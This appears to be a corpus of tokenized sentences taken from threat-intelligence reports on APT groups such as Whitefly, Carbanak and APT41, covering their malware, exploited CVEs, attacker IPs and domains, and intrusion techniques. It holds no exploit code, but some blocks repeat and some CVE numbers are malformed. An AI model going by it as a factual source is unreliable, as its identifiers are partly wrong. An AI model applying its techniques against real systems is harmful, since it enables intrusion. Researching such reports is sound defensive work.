While most of these organizations were based in Singapore , some were multinational organizations with a presence in Singapore .
To date , Whitefly has attacked organizations in the healthcare , media , telecommunications , and engineering sectors .
Whitefly first infects its victims using a dropper in the form of a malicious.exe or .dll file that is disguised as a document or image .
If opened , the dropper runs a loader known as Trojan.Vcrodat on the computer .
Whitefly has consistently used a technique known as search order hijacking to run Vcrodat .
Once executed , Vcrodat loads an encrypted payload on to the victim 's computer .
Whitefly rely heavily on tools such as Mimikatz to obtain credentials .
Using these credentials , the attackers are able to compromise more machines on the network and , from those machines , again obtain more credentials .
Whitefly usually attempts to remain within a targeted organization for long periods of time—often months—in order to steal large volumes of information .
In order to carry out this operation , it uses publicly available tools , including Mimikatz ( Hacktool.Mimikatz ) and an open-source tool that exploits a known Windows privilege escalation vulnerability ( CVE-2016-0051 ) on unpatched computers .
Like Vcrodat , Nibatad is also a loader that leverages search order hijacking , and downloads an encrypted payload to the infected computer .
Why Whitefly uses these two different loaders in some of its attacks remains unknown .
While Vcrodat is delivered via the malicious dropper , we have yet to discover how Nibatad is delivered to the infected computer .
Between May 2017 and December 2018 , a multi-purpose command tool that has been used by Whitefly was also used in attacks against defense , telecoms , and energy targets in Southeast Asia and Russia .
In another case , Vcrodat was also used in an attack on a UK-based organization in the hospitality sector .
Whitefly is a highly adept group with a large arsenal of tools at its disposal , capable of penetrating targeted organizations and maintaining a long-term presence on their networks .
WICKED PANDA has also targeted chemical and think tank sectors around the world .
The WICKED PANDA adversary makes use of a number of open-source and custom tools to infect and move laterally in victim networks .
WICKED PANDA refers to the targeted intrusion operations of the actor publicly known as " Winnti " , whereas WICKED SPIDER represents this group 's financially-motivated criminal activity .
WICKED SPIDER has been observed targeting technology companies in Germany , Indonesia , the Russian Federation , South Korea , Sweden , Thailand , Turkey , the United States , and elsewhere .
Subsequently , two additional articles ( here and here ) were released by Objective-See which provide an analysis of some validated WINDSHIFT samples targeting OSX systems .
Pivoting on specific file attributes and infrastructure indicators , Unit 42 was able to identify and correlate additional attacker activity and can now provide specific details on a targeted WINDSHIFT attack as it unfolded at a Middle Eastern government agency .
The following is a summary of observed WINDSHIFT activity which targeted a Middle Eastern government agency .
The WIZARD SPIDER threat group is the Russia-based operator of the TrickBot banking malware .
Whitefly configures multiple C&C domains for each target .
In some attacks , Whitefly has used a second piece of custom malware , Trojan.Nibatad .
LUNAR SPIDER had already introduced BokBot to the criminal market at the time Neverquest operations ceased , suggesting that the malware change may have been planned .
Its origins can be traced back to the Storm Worm , a botnet that emerged in 2007 and was one of the earliest criminal malware infrastructures to leverage peer-to-peer technology .
After the demise of Storm , it was replaced by another new botnet known as Waledac that also leveraged peer-to-peer communications .
Although BokBot has aided the distribution of TrickBot since 2017 , the development of custom TrickBot modules for the specific campaign has not been observed before .
Kelihos , like many others , implemented a sophisticated spam engine that automatically constructs spam messages from templates and additional inputs to avoid any patterns that can be used in filters .
A second attack that targeted the host 154.46.32.129 started on March 14 , 2017 at 14:44:42 GMT .
As shown within the timeline above , the WINDSHIFT activity observed by Unit 42 falls between January and May of 2018 .
With the Kelihos spam botnet no longer in operation and Levashov behind bars , multiple criminal operators turned to different spam botnets to distribute their crimeware .
CraP2P has frequently been used to distribute other malware such as Locky and Dridex , but also supported large scale spam campaigns for dating advertisement and pump-and-dump scams after the demise of Kelihos .
The first attack occurred in early January of 2018 with an inbound WINDTAIL sample ( the backdoor family used by WINDSHIFT ) originating from the remote IP address 109.235.51.110 to a single internal IP address within the government agency .
Unit 42 assesses with high confidence that both the IP address 185.25.50.189 and the domain domforworld.com is associated with WINDSHIFT activity .
The CrowdStrike Falcon Intelligence team , which had been tracking Levashov as the adversary called ZOMBIE SPIDER , was able to help law enforcement seize control of the Kelihos botnet so that it could no longer be used by criminal actors .
Over the past few years , Animal Farm has targeted a wide range of global organizations .
The group has been active since at least 2009 and there are signs that earlier malware versions were developed as far back as 2007 .
Over the years Kaspersky is tracked multiple campaigns by the Animal Farm group .
Most recently , Animal Farm deployed the Casper Trojan via a watering-hole attack in Syria .
A full description of this zero-day attack can be found in this blog post by Kaspersky Lab 's Vyacheslav Zakorzhevsky .
In addition to these , the Animal Farm attackers used at least one unknown , mysterious malware during an operation targeting computer users in Burkina Faso .
The malware known as Tafacalou ( aka " TFC " , " Transporter " ) is perhaps of greatest interest here , because it acts as an entry point for the more sophisticated spy platforms Babar and Dino .
Based on the Tafacalou infection logs , we observed that most of the victims are in the following countries : Syria , Iran , Malaysia , USA , China , Turkey , Netherlands , Germany , Great Britain , Russia , Sweden , Austria , Algeria , Israel , Iraq , Morocco , New Zealand , Ukraine .
In 2013 , both COSEINC and FireEye revealed attacks using Bisonal against Japanese organizations .
In October 2017 , AhnLab published a report called " Operation Bitter Biscuit " , an attack campaign against South Korea , Japan , India and Russia using Bisonal and its successors , Bioazih and Dexbia .
We observed all these characteristics in the Bisonal 's attacks against both Russia and South Korea .
We observed all these characteristics in the Bisonal 's attacks against both Russia and South Korea .
The biggest number of Orangeworm 's victims are located in the U.S. , accounting for 17 percent of the infection rate by region .
In the campaign that targeted Japan , Philippines , and Argentina on June 20 , we found what seems to be a new , undisclosed malware , which we named Gelup .
Also , some code pieces are directly re-used in the analyzed campaigns , such as the i.cmd” and exit.exe” files , and , at the same time , some new components have been introduced , for instance the rtegre.exe” and the veter1605_MAPS_10cr0.exe” file .
Neptun is installed on Microsoft Exchange servers and is designed to passively listen for commands from the attackers .
The malware then uses WebDAV to upload the RAR archive to a Box account .
The PowerShell script will look at the architecture of the system to check which malicious DLL files should be downloaded .
McAfee Advanced Threat research determines with confidence that Lazarus is the threat group behind this attack for the following reasons:Contacts an IP address / domain that was used to host a malicious document from a Lazarus previous campaign in 2017 .
According to security 360 Threat Intelligence Center , Goldmouse was observed deploying the nebulous njRAT backdoor .
Additionally Kaspersky identified a new backdoor that we attribute with medium confidence to Turla .
Trend Micro also reported MuddyWater’s use of a new multi-stage PowerShell-based backdoor called POWERSTATS v3 .
ESET recently analyzed a new Mac OS sample from the OceanLotus group that had been uploaded to VirusTotal .
Each of the spear phishing attacks contained links to .doc files , which were really RTF documents that attempt to exploit CVE-2017-8570 ( Composite Moniker ) .
At this point , the attackers know the user has opened the document and send another spear-phishing email , this time containing an MS Word document with an embedded executable .
The Word document usually exploits CVE-2012-0158 .
Sometimes the attackers send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
Sometimes Patchwork send an MS PowerPoint document instead , which exploits CVE-2014-6352 .
The malicious documents seen in recent activity refer to a number of topics , including recent military promotions within the Pakistan Army , information related to the Pakistan Atomic Energy Commission , as well as Pakistan 's Ministry of the Interior .
The malicious documents that Unit 42 examined contained legitimate decoy lures as well as malicious embedded EPS files targeting the CVE-2015-2545 and CVE-2017-0261 vulnerabilities .
One of the favorite methods used by the Pitty Tiger group to infect users is to use a Microsoft Office Word document which exploits a specific vulnerability ( CVE-2012-0158 ) .
This threat group uses a first-stage malware known as Backdoor.APT.Pgift ( aka Troj/ReRol.A ) , which is dropped via malicious documents and connects back to a C2 server .
Backdoor.APT.PittyTiger1.3 ( aka CT RAT ) – This malware is likely used as a second-stage backdoor .
We have observed the Enfal malware in use since 2011 and in conjunction with Backdoor.APT.Pgift as the payload of a malicious document used in spearphishing attacks .
The document , when opened , used an embedded ActiveX control to download a JavaScript file from a remote site that used a previously unknown vulnerability in some versions of Windows ( later designated CVE-2013-7331 ) to read information about the browser 's installed components .
In one case from 2013 , the target was sent a malicious document through a spear phishing email message .
At a high level , hot patching can transparently apply patches to executables and DLLs in actively running processes , which does not happen with traditional methods of code injection such as CreateRemoteThread or WriteProcessMemory .
The new SOL protocol within the PLATINUM file-transfer tool makes use of the AMT Technology SDK 's Redirection Library API ( imrsdk.dll ) .
The two executables related to Hermes are bitsran.exe and RSW7B37.tmp .
Proofpoint researchers have observed a well-known Russian-speaking APT actor usually referred to as Turla using a new .NET/MSIL dropper for an existing backdoor called JS/KopiLuwak .
However , over the last nine campaigns since Trend Micro‘s June report , TA505 also started using .ISO image attachments as the point of entry , as well as a .NET downloader , a new style for macro delivery , a newer version of ServHelper , and a .DLL variant of FlawedAmmyy downloader .
The first part of the campaign From Jan. 23 , 2018 , to Feb. 26 , 2018 used a macro-based document that dropped a VBS file and an INI file .
The INI file contains the Base64 encoded PowerShell command , which will be decoded and executed by PowerShell using the command line generated by the VBS file on execution using WScript.exe .
cmstp.exe system restart , cmstp.exe will be used to execute the SCT file indirectly through the INF file .
The following are the three files:Defender.sct – The malicious JavaScript based scriptlet file .
After all network derived IPs have been processed , the malware generates random IPs and uses the same combination of PingCastle and EternalBlue to spread to that host .
The document files exploit at least three known vulnerabilities in Microsoft Office , which we discuss in the Infection Techniques section .
The malware may communicate with its command and control (C2) server over The Onion Router (Tor) network if configured to do so .
This file is decrypted and injected into an instance of InstallUtiil.exe , and functions as a Tor anonymizer .
Along with the executable , two binary files , inject.bin (malicious function code) and imain.bin (malicious control logic) , were deployed as the controller’s payload .
This isn’t a bad thing as it shows a natural grouping of nodes that could be a good candidate to group to help simplify the overall graph and make analysis easier .
During our investigation into the activity , FireEye identified a direct overlap between BADRABBIT redirect sites and sites hosting a profiler we’ve been tracking as BACKSWING .
Incident Background Beginning on Oct. 24 at 08:00 UTC , FireEye detected and blocked attempts to infect multiple clients with a drive-by download masquerading as a Flash Update (install_flash_player.exe) that delivered a wormable variant of ransomware .
Figure 3: BACKSWING Version 2Version 1:FireEye observed the first version of BACKSWING in late 2016 on websites belonging to a Czech Republic hospitality organization in addition to a government website in Montenegro .
While FireEye has not directly observed BACKSWING delivering BADRABBIT , BACKSWING was observed on multiple websites that were seen referring FireEye customers to 1dnscontrol.com , which hosted the BADRABBIT dropper .
Harvested credentials provided by an embedded Mimikatz executable facilitate the infection of other systems on the network .
Like EternalPetya , infpub.dat determines if a specific file exists on the system and will exit if found .
This entry was posted on Mon Dec 04 12:00 EST 2017 and filed under Code , Reverse Engineering , Nick Harbour , and Incident Response .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
If the document was delivered with macros instead of exploits ( CVE-2012-0158 , CVE-2013-3906 or CVE-2014-1761 ) , then the document contained instructions for enabling macros .
Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 .
The documents that exploit CVE2017-11882 download another payload — an HTML Application ( HTA ) file toting a malicious Visual Basic ( VBS ) script — from the server , which is executed accordingly by the command-line tool mshta.exe .
Kaspersky Lab 's products detect the Microsoft Office exploits used in the spear-phishing attacks , including Exploit.MSWord.CVE-2010-333 , Exploit.Win32.CVE-2012-0158 .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017 .
this RTF exploits again the CVE-2017_1882 on eqnedt32.exe .
The analyzed RTF files share the same object dimension (objw2180\objh300) used to track the RTF weaponizer in our previous report ,the sample was not exploiting CVE-2017-11882 or CVE-2018-0802 .
After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft’s Equation Editor (EQNEDT32) .
Anomali Researchers were able to identify multiple samples of malicious RTF documents ITW using the same exploit for CVE-2018-0798 .
Upon opening of the MS Word document ,our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control .
Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , 'EQNEDT32.exe' , scores high for potentially malicious activity .
In some of the latest samples of BalkanDoor detected in 2019 , the malware is distributed as an ACE archive , disguised as a RAR archive (i.e , not an executable file) , specially crafted to exploit the WinRAR ACE vulnerability CVE-2018-20250 .
The China Chopper actor activity starts with the download and execution of two exploit files which attempt to exploit the Windows vulnerabilities CVE-2015-0062 , CVE-2015-1701 and CVE-2016-0099 to allow the attacker to modify other objects on the server .
The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
Alternatively , it is also possible that APT41 injected malicious code into the package prior to compilation , circumventing the need to steal the code-signing certificate and compile it on their own .
In these instances , APT41 leveraged TeamViewer to transfer malware into the compromised environment , although we do not have direct evidence of APT41 compromising TeamViewer .
APT41 has targeted payment services specializing in handling in-game transactions and real money transfer (RMT) purchases .
In some instances , APT41 leveraged POISONPLUG as a first-stage backdoor to deploy the HIGHNOON backdoor in the targeted environment .
In another instance ,APT41 targeted a hotel’s reservation systems ahead of Chinese officials staying there , suggesting the group was tasked to reconnoiter the facility for security reasons .
The limited use of these tools by APT41 suggests the group reserves more advanced TTPs and malware only for high-value targets .
At the time of analysis , the subdomains did not host a website; however ,based on BITTER APT group’s targeting patterns ,it is highly likely that they were created to host faux login phishing pages designed to steal user’s credentials .
The group behind these attacks has stolen gigabytes of confidential documents , mostly from military organizations .
They seem to have specialized knowledge about military operations , as they are focused on stealing specific files such as those that describe navigation routes .
SectorJ04 used the spear phishing email to spread malicious Excel or malicious Word files , and downloaded the MSI files from the attacker’s server when the malicious documents were run .
Group-IB specialists have established that the aim of the attack was to deliver and launch the second stage of Silence’s Trojan , known as Silence.MainModule .
The hackers will map a company’s network and look for strategically favorable locations for placing their malware .
Typically , APT10 tends to employ a namesquatting scheme in their domains that aims to confuse the observer by posing as a legitimate domain .
If the attack had succeeded , it would have given hackers control over the ATM network , while money mules would have been standing by the ATM machines at pre-set time intervals to cash them out .
Based on the functionality of the various tools uploaded to the webshells , we believe the threat actors breach the SharePoint servers to use as a beachhead , then attempt to move laterally across the network via stolen credentials and exploiting vulnerabilities .
The first of them is the well-known FIN7 , which specializes in attacking various companies to get access to financial data or PoS infrastructure .
Alpha’s early role was fairly simple: engage with individuals , who he chose based on the goods they were selling , and then provide personal shipping addresses back to Omega .
Instead of using fake Google Docs phishing pages to collect personal email login credentials , Scattered Canary began using phishing pages of commonly used business applications to compromise enterprise credentials .
In some samples deployed since March 2019 , Turla developers modified their PowerShell scripts in order to bypass the Antimalware Scan Interface (AMSI) .
Distinct changes to Azazel by the Winnti developers include the addition of a function named ‘Decrypt2’ , which is used to decode an embedded configuration similar to the core implant .
Early in Q2 , Kaspersky identified an interesting Lazarus attack targeting a mobile gaming company in South Korea that we believe was aimed at stealing application source code .
APT19 leveraged Rich Text Format (RTF) and macro-enabled Microsoft Excel files to deliver their initial exploits .
Most of these data-stealing capabilities were present in the oldest variants of CARBANAK that we have seen and some were added over time .
We have also observed them using virtual private network services that use IPs based in numerous countries to ensure anonymity and obfuscate criminal operations .
Once downloaded and executed , it drops an intermediate payload that further downloads a Pony DLL and Vawtrak executable , which perform data theft and connect to a command and control (C2) server .
After the executable is executed ,it downloads Pony and Vawtrak malware variants to steal data .
Ploutus-D will load KXCashDispenserLib” library implemented by Kalignite Platform (K3A.Platform.dll) to interact with the XFS Manager and control the Dispenser (see Figure 13) .
DarkPulsar is a very interesting administrative module for controlling a passive backdoor named ' sipauth32.tsp ' that provides remote control , belonging to this category .
During a recent campaign , APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros .
The group uses legitimate administration tools to fly under the radar in their post-exploitation phase , which makes detection of malicious activity , as well as attribution more complicated .
PittyTiger has also been seen using Heartbleed vulnerability in order to directly get valid credentials .
They have also been seen using Heartbleed vulnerability in order to directly get valid credentials .
Tactic #1: Delivering the miner directly to a vulnerable serverSome tactics we've observed involve exploiting CVE-2017-10271 , leveraging PowerShell to download the miner directly onto the victim’s system (Figure 1) , and executing it using ShellExecute() .
APT28 is using novel techniques involving the EternalBlue exploit and the open source tool Responder to spread laterally through networks and likely target travelers .
Carbanak is a remote backdoor ( initially based on Carberp ) , designed for espionage , data exfiltration and to provide remote access to infected machines .
If found on the target system , Carbanak will try to exploit a known vulnerability in Windows XP , Windows Server 2003 , Windows Vista , Windows Server, Windows 7 , Windows 8 , and Windows Server 2012 , CVE-2013-3660 , for local privilege escalation .
To enable connections to the infected computer using the Remote Desktop Protocol ( RDP ) , Carbanak sets Termservice service execution mode to Auto .
Just a few months later , in February 2015 , we announced the discovery of Carbanak , a cyber-criminal gang that used custom malware and APT techniques to steal millionsdollars while infecting hundreds of financial institutions in at least 30 countries .
Dubbed ‘Operation Sheep’ , this massive data stealing campaign is the first known campaign seen in the wild to exploit the Man-in-the-Disk vulnerability revealed by Check Point Research earlier last year .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
If the document was delivered with macros instead of exploits ( CVE-2012-0158 , CVE-2013-3906 or CVE-2014-1761 ) , then the document contained instructions for enabling macros .
Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 .
The documents that exploit CVE2017-11882 download another payload — an HTML Application ( HTA ) file toting a malicious Visual Basic ( VBS ) script — from the server , which is executed accordingly by the command-line tool mshta.exe .
Kaspersky Lab 's products detect the Microsoft Office exploits used in the spear-phishing attacks , including Exploit.MSWord.CVE-2010-333 , Exploit.Win32.CVE-2012-0158 .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017 .
this RTF exploits again the CVE-2017_1882 on eqnedt32.exe .
The analyzed RTF files share the same object dimension (objw2180\objh300) used to track the RTF weaponizer in our previous report ,the sample was not exploiting CVE-2017-11882 or CVE-2018-0802 .
After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft’s Equation Editor (EQNEDT32) .
Anomali Researchers were able to identify multiple samples of malicious RTF documents ITW using the same exploit for CVE-2018-0798 .
Upon opening of the MS Word document ,our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control .
Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , 'EQNEDT32.exe' , scores high for potentially malicious activity .
In some of the latest samples of BalkanDoor detected in 2019 , the malware is distributed as an ACE archive , disguised as a RAR archive (i.e , not an executable file) , specially crafted to exploit the WinRAR ACE vulnerability CVE-2018-20250 .
The China Chopper actor activity starts with the download and execution of two exploit files which attempt to exploit the Windows vulnerabilities CVE-2015-0062 , CVE-2015-1701 and CVE-2016-0099 to allow the attacker to modify other objects on the server .
The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content .
In all emails sent to these government officials , the actor used the same attachment : a malicious Microsoft Word document that exploited the CVE-2012-0158 vulnerability to drop a malicious payload .
According to the security firm , this campaign targeted Indian military officials via spear-phishing emails , distributing spyware to its victims via an Adobe Reader vulnerability .
PLATINUM 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
The group 's persistent use of spear phishing tactics ( phishing attempts aimed at specific individuals ) and access to previously undiscovered zero-day exploits have made it a highly resilient threat .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
We believe that the Carbanak campaign is a clear indicator of a new era in cybercrime in which criminals use APT techniques directly against the financial industry instead of through its customers .
Carbanak has its origin in more common financial fraud including theft from consumer and corporate bank accounts in Europe and Russia , using standard banking malware , mainly Carberp .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
The malware was first seen packed with VMProtect; when unpacked the sample didn’t show any similarities with previously known malware .
The malware starts communicating with the C&C server by sending basic information about the infected machine .
The malware basically provides a remote CMD/PowerShell terminal for the attackers , enabling them to execute scripts/commands and receive the results via HTTP requests .
After app installation , whenever SWAnalytics senses victims opening up infected applications or rebooting their phones , it silently uploads their entire contacts list to Hangzhou Shun Wang Technologies controlled servers .
This module monitors a wide range of device activities including application installation / remove / update , phone restart and battery charge .
It turns out that contacts data isn’t the only unusual data SWAnalytics is interested in .
With default settings , SWAnalytics will scan through an Android device’s external storage , looking for directory tencent/MobileQQ/WebViewCheck” .
By listing sub-folders , SWAnalytics is able to infer QQ accounts which have never been used on the device .
To make this data harvesting operation flexible , SWAnalytics equips the ability to receive and process configuration files from a remote Command-and-Control .
Just to highlight its capabilities , TajMahal is able to steal data from a CD burnt by a victim as well as from the printer queue .
The newer variant of KopiLuwak is now capable of exfiltrating files to the C&C as well as downloading files and saving them to the infected machine .
The tool does all that a typical Trojan needs to accomplish: upload , download and execute files , fingerprint target systems .
The PowerShell version of the Trojan also has the ability to get screenshots .
Initial reports about HIGHNOON and its variants reported publicly as Winnti dating back to at least 2013 indicated the tool was exclusive to a single group , contributing to significant conflation across multiple distinct espionage operations .
BalkanRAT enables the attacker to remotely control the compromised computer via a graphical interface , i.e , manually; BalkanDoor enables them to remotely control the compromised computer via a command line , i.e , possibly en masse .
The backdoor can connect to any of the C&Cs from a hardcoded list – a measure to increase resilience .
China Chopper is a tool that allows attackers to remotely control the target system that needs to be running a web server application before it can be targeted by the tool .
China Chopper contains a remote shell (Virtual Terminal) function that has a first suggested command of netstat an|find ESTABLISHED .
The tool investigates the Local Security Authority Subsystem memory space in order to find , decrypt and display retrieved passwords .
Additional capabilities of the More_eggs malware include the download and execution of files and scripts and running commands using cmd.exe .
In their latest leak , they have released the UNITEDRAKE NSA exploit , which is a remote access and control tool that can remotely target Windows-based systems to capture desired information and transfer it to a server .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
The exploit installs Silence’s loader , designed to download backdoors and other malicious programs .
We have also observed them using virtual private network services that use IPs based in numerous countries to ensure anonymity and obfuscate criminal operations .
Once downloaded and executed , it drops an intermediate payload that further downloads a Pony DLL and Vawtrak executable , which perform data theft and connect to a command and control (C2) server .
After the executable is executed ,it downloads Pony and Vawtrak malware variants to steal data .
Once a valid card with a malicious EMV chip is detected , RIPPER will instantiate a timer to allow a thief to control the machine .
The toolset includes reams of documentation explaining how the cyber weapons work , as well as details about their use in highly classified intelligence operations abroad .
The threat actors behind the Sea Turtle campaign were successful in compromising entities by manipulating and falsifying DNS records at various levels in the domain name space .
In their latest leak , they have released the UNITEDRAKE NSA exploit , which is a remote access and control tool that can remotely target Windows-based systems to capture desired information and transfer it to a server .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
The exploit installs Silence’s loader , designed to download backdoors and other malicious programs .
It appears that the group values hardcoded into the malware is associated with the targeted organization , as several are Saudi Arabian organizations within the telecommunications and defense industries .
This threat group has conducted broad targeting across a variety of industries , including financial , government , energy , chemical , and telecommunications , and has largely focused its operations within the Middle East .
This threat group has conducted broad targeting across a variety of industries , including financial , government , energy , chemical , and telecommunications .
Join us in a live webinar as we discuss this threat group whom we assess to be working on behalf of the Iranian Government , with a mission that would benefit nation-state geopolitical and economic needs .
The group conducts operations primarily in the Middle East , targeting financial , government , energy , chemical , telecommunications and other industries .
HELIX KITTEN is likely an Iranian-based adversary group , active since at least late 2015 , targeting organizations in the aerospace , energy , financial , government , hospitality and telecommunications business verticals .
The certificates Blackfly stole were also from South Korean companies , primarily in the video game and software development industry .
Suckfly 's attacks on government organizations that provide information technology services to other government branches is not limited to India .
In this report we continue our research of the actor 's operations with a specific focus on a selection of custom information technology ( IT ) tools and tactics the threat actor leveraged during the early stages of the targeted attack lifecycle .
CTU researchers have evidence that the TG-3390 compromised U.S and UK organizations in the following verticals : manufacturing ( specifically aerospace ( including defense contractors ) , automotive , technology , energy , and pharmaceuticals ) , education , and legal , as well as organizations focused on international relations .
Based on analysis of the group 's SWCs , TG-3390 operations likely affect organizations in other countries and verticals .
TG-3390 operates a broad and long-running campaign of SWCs and has compromised approximately 100 websites as of this publication .
CTU researchers have evidence that the threat group compromised U.S and UK organizations in the following verticals : manufacturing ( specifically aerospace ( including defense contractors ) , automotive , technology , energy , and pharmaceuticals ) , education , and legal , as well as organizations focused on international relations .
Based on this information , CTU researchers assess that TG-3390 aims to collect defense technology and capability intelligence , other industrial intelligence , and political intelligence from governments and NGOs .
In 2016 , the threat actors conducted a strategic web compromise ( SWC ) on the website of an international industry organization that affected aerospace , academic , media , technology , government , and utilities organizations around the world .
In addition , BRONZE UNION activity on multiple U.S.-based defense manufacturer networks included the threat actors seeking information associated with aerospace technologies , combat processes , and naval defense systems .
Leafminer attempts to infiltrate target networks through various means of intrusion : watering hole websites , vulnerability scans of network services on the internet , and brute-force login attempts .
Leafminer also utilized Process Doppelganging , a detection evasion technique first discussed at the Black Hat EU conference last year .
On September 15 and 19 , 2017 , Proofpoint detected and blocked spearphishing emails from this group targeting a US shipbuilding company and a US university research center with military ties .
Between August 2 and 4 , the actor sent targeted spearphishing emails containing malicious URLs linking to documents to multiple defense contractors .
Between August 2 and 4 , the Leviathan sent targeted spearphishing emails containing malicious URLs linking to documents to multiple defense contractors .
The Leviathan generally emailed Microsoft Excel documents with malicious macros to US universities with military interests , most frequently related to the Navy .
Instead , the Spring Dragon group is known to have employed spearphish exploits , strategic web compromises , and watering holes attack .
On November 10 , 2015 , threat actors sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
On November 10 , 2015 , Lotus Blossom sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
The Magic Hound attacks did not rely on exploit code to compromise targeted systems , instead relying on Excel and Word documents containing malicious macros .
The Magic Hound campaign used Word and Excel documents containing malicious macros as a delivery method , specifically attempting to load MagicHound.Rollover .
During a recent campaign , APT32 leveraged social engineering emails with Microsoft ActiveMime file attachments to deliver malicious macros .
APT33 often conducts spear-phishing operations using a built-in phishing module .
In a recent attack , APT33 sent spear-phishing emails to workers in the aviation industry .
These emails included recruitment-themed lures and links to malicious HTML application ( HTA ) files .
APT34 often uses compromised accounts to conduct spear-phishing operations .
Safe A TARGETED THREAT By: Nart Villeneuve and Kyle Wilhoit Forward-Looking Threat Research Team TREND MICRO LEGAL DISCLAIMER The information provided herein is for general information and educational purposes only.
It is not intended and should not be construed to constitute legal advice.
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Contents Introduction ..........................................................................................................1 Attack Vector .......................................................................................................2 Malware ...............................................................................................................3 First Stage .....................................................................................................3 Second Stage ...............................................................................................5 Plug-Ins .........................................................................................................5 Tools ..............................................................................................................5 CC .....................................................................................................................6 Campaign Connections .......................................................................................7 Identification of Victims ........................................................................................7 Tools ....................................................................................................................9 TypeConfig/SafeDisk ....................................................................................9 DECRYPT.exe.............................................................................................10 Common Tools ............................................................................................10 Source Code...................................................................................................... 11 TypeConfig.exe/SafeDisk.exe Source Code Analysis .................................12 CC Source Code ......................................................................................13 Attribution ..........................................................................................................13 Developers ..................................................................................................14 